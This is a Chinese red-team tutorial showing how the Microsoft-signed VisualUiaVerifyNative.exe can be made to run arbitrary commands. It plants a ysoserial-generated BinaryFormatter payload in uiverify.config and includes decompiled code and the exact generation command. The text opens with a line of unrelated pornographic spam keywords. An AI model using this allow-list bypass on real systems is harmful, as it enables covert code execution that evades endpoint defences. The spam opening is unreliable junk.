欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

.NET 白名單文件通過反序列化執(zhí)行系統(tǒng)命令的方法

 更新時間:2024年11月07日 10:10:40   作者:dot.Net安全矩陣  
本文介紹了如何利用微軟簽名的白名單文件VisualUiaVerifyNative.exe繞過安全防護,詳細解析了其依賴庫、反序列化漏洞利用過程,并演示了實際操作步驟,感興趣的朋友一起看看吧

 01閱讀須知

此文所提供的信息只為網(wǎng)絡(luò)安全人員對自己所負責的網(wǎng)站、服務(wù)器等(包括但不限于)進行檢測或維護參考,未經(jīng)授權(quán)請勿利用文章中的技術(shù)資料對任何計算機系統(tǒng)進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他方面

02VisualUiaVerifyNative

在日常的紅隊行動中,利用微軟簽名的白名單文件來繞過防護措施是一種常見的行為,有些場景下紅隊通過利用系統(tǒng)白名單文件加載反序列化漏洞的方式執(zhí)行惡意指令。

VisualUiaVerifyNative.exe 是一款具備微軟簽名的可執(zhí)行文件,屬于Microsoft UI Automation框架的一部分,最初設(shè)計用于幫助開發(fā)人員驗證UI自動化的狀態(tài),一般在 Microsoft Windows SDK(Windows Kits)包中,比如路徑:Windows Kits\10\bin\10.0.22621.0\x64\UIAVerify,該工具通常依賴于以下兩個重要的動態(tài)鏈接庫。

2.1 UIAComWrapper

UIAComWrapper.dll,該 DLL 文件封裝了 UI Automation COM 接口,用于簡化與 UI Automation 元素的交互。UI Automation 是一種微軟提供的技術(shù),允許自動化工具控制、監(jiān)視和測試 Windows 應(yīng)用程序的用戶界面。UIAComWrapper.dll 使 VisualUIAVerifyNative.exe 可以使用 .NET 代碼與 UI Automation API 進行交互。

2.2 WUIATestLibrary

WUIATestLibrary.dll 提供了一些專門用于 UI 自動化測試的庫函數(shù),主要支持自動化測試中的通用任務(wù),例如自動化 UI 控件的查找、狀態(tài)驗證和操作。VisualUIAVerifyNative.exe 依賴于此庫來運行不同的 UI 驗證和測試場景。

這些依賴庫的主要作用是為 VisualUIAVerifyNative.exe 提供接口和功能支持,使其能夠與 Windows 應(yīng)用程序的 UI 自動化框架進行通信,并通過自動化的方式驗證和測試界面元素。

由于VisualUiaVerifyNative具備了微軟官方簽名的文件,因此,從反病毒軟件的視角看屬于白名單應(yīng)用程序,常??梢岳@過許多基于簽名的安全防護措施。

03反編譯分析

我們使用dnspy打開VisualUiaVerifyNative文件的入口方法Main,發(fā)現(xiàn)調(diào)用了MainWindow類,具體代碼如下所示。

private static void Main(string[] args)
{
			try
			{
				Debug.AutoFlush = true;
				Application.EnableVisualStyles();
				Application.SetCompatibleTextRenderingDefault(false);
				Application.Run(new MainWindow(args));
				Automation.RemoveAllEventHandlers();
			}
			catch (Exception ex)
			{
				MessageBox.Show(ex.Message);
            }
}

MainWindow類的初始化方法中,有一個至關(guān)重要的函數(shù)ApplicationStateDeserialize負責反序列化配置文件中的數(shù)據(jù)。如下圖所示

進入此方法內(nèi)部,發(fā)現(xiàn)打開讀取了一個名為uiverify.config的文件,位于用戶的AppData目錄中,代碼如下所示。

private void ApplicationStateDeserialize(){
    this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";
    if (File.Exists(this._configFile))
    {
        Stream stream = File.Open(this._configFile, FileMode.Open);
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
        stream.Close();
    }
}

最核心的是調(diào)用了BinaryFormatter類反序列化內(nèi)容,攻擊者可以通過精心構(gòu)造的payload欺騙反序列化過程,加載惡意代碼。在代碼中,binaryFormatter.Deserialize(stream)這一行正是漏洞的觸發(fā)點,它會反序列化uiverify.config文件中的數(shù)據(jù),并將其載入到_applicationState中。

04實戰(zhàn)利用

第1步使用ysoserial.exe工具生成一個惡意的序列化payload。在這里,我們利用了BinaryFormatter格式,并選擇TextFormattingRunProperties作為觸發(fā)器,執(zhí)行命令notepad。

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config

這會生成一個二進制格式的惡意payload,并將其保存為Roaminguiverify.config文件,內(nèi)容如下圖所示。

第2步,將生成的Roaminguiverify.config文件寫入到當前用戶目錄,比如C:\Users\Administrator\AppData\Roaminguiverify.config。這個配置文件是VisualUiaVerifyNative在啟動時會自動讀取的文件,因此一旦寫入惡意數(shù)據(jù),運行該工具時會自動觸發(fā)反序列化漏洞。

第3步,當VisualUiaVerifyNative運行時,它會嘗試從Roaminguiverify.config文件中反序列化數(shù)據(jù),并因此執(zhí)行植入的惡意命令。在本例中,notepad.exe會在系統(tǒng)上啟動,表明命令執(zhí)行成功。

綜上,VisualUiaVerifyNative是一款具備微軟白名單的可執(zhí)行文件,用于基于Microsoft UI Automation框架進行應(yīng)用測試。然而,通過對其配置文件的精心操作,攻擊者可以非法使用其功能來觸發(fā)反序列化漏洞,執(zhí)行任意代碼。

到此這篇關(guān)于.NET 白名單文件通過反序列化執(zhí)行系統(tǒng)命令的文章就介紹到這了,更多相關(guān).net 白名單文件反序列化執(zhí)行系統(tǒng)命令內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • ASP.NET MVC運行出現(xiàn)Uncaught TypeError: Cannot set property __MVC_FormValidation of null的解決方法

    ASP.NET MVC運行出現(xiàn)Uncaught TypeError: Cannot set property __MVC

    同一相站點,有些頁面的客戶端驗證能工作,而有些死活不行。打開頁面就出現(xiàn)Uncaught TypeError: Cannot set property __MVC_FormValidation of null錯誤
    2010-04-04
  • asp.net判斷字符串是否是中文的方法

    asp.net判斷字符串是否是中文的方法

    asp.net判斷字符串是否是中文的方法,需要的朋友可以參考一下
    2013-03-03
  • gridview中實現(xiàn)radiobutton的單選示例

    gridview中實現(xiàn)radiobutton的單選示例

    radiobutton可以單選,于是想讓gridview也可以實現(xiàn),具體的思路及代碼如下,感興趣的朋友可以參考下
    2013-08-08
  • ASP.NET設(shè)置404頁面返回302HTTP狀態(tài)碼的解決方法

    ASP.NET設(shè)置404頁面返回302HTTP狀態(tài)碼的解決方法

    訪問網(wǎng)站時錯誤頁面可正常顯示,但HTTP狀態(tài)碼卻是302,對SEO很不友好,按下列步驟修改使錯誤頁面返回正確的利于SEO的404狀態(tài)碼,感興趣的朋友可以了解下
    2013-09-09
  • asp.net MVC分頁代碼分享

    asp.net MVC分頁代碼分享

    這篇文章主要為大家詳細介紹了asp.net MVC分頁代碼,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2016-09-09
  • ASP.NET主機資源控制的一些心得

    ASP.NET主機資源控制的一些心得

    您可以通過以下設(shè)置控制ASP.NET主機對服務(wù)器內(nèi)存的占用。并能設(shè)置ASP.NET主機進程定時重建這樣可以避免服務(wù)器長時間運行aspnet占用大量空閑內(nèi)存,有利于提高aspnet運行效率。
    2013-02-02
  • 三層+存儲過程實現(xiàn)分頁示例代碼

    三層+存儲過程實現(xiàn)分頁示例代碼

    本文為大家介紹下三層+存儲過程分頁的具體實現(xiàn),前后臺及存儲過程代碼如下,感興趣的朋友可以參考下哈
    2013-06-06
  • asp.net Javascript獲取CheckBoxList的value

    asp.net Javascript獲取CheckBoxList的value

    最近在做一個BS的小項目,記得自己搞asp.net的時候,還是兩年以前,大部分的東西只是有點印象,忘得差不多了,所以這次也算是溫習的過程吧,一邊學習,一邊趕工,呵呵呵。。。。
    2009-12-12
  • DiscuzNT 論壇與主站的同步登錄與退出

    DiscuzNT 論壇與主站的同步登錄與退出

    首先我先說明一下,我參考了這篇文章:http://nt.discuz.net/showtopic-49836.html,在這篇文章啟發(fā)下簡單化。 我裝的是2.5Beta版
    2009-03-03
  • .Net使用EF Core框架連接Oracle的方法

    .Net使用EF Core框架連接Oracle的方法

    文章介紹了如何在.NET中使用Entity Framework Core框架連接Oracle數(shù)據(jù)庫,包括安裝必要的NuGet包、配置連接字符串、創(chuàng)建實體類和數(shù)據(jù)庫上下文類、注冊數(shù)據(jù)庫上下文服務(wù)以及測試數(shù)據(jù)庫數(shù)據(jù),感興趣的朋友一起看看吧
    2025-02-02

最新評論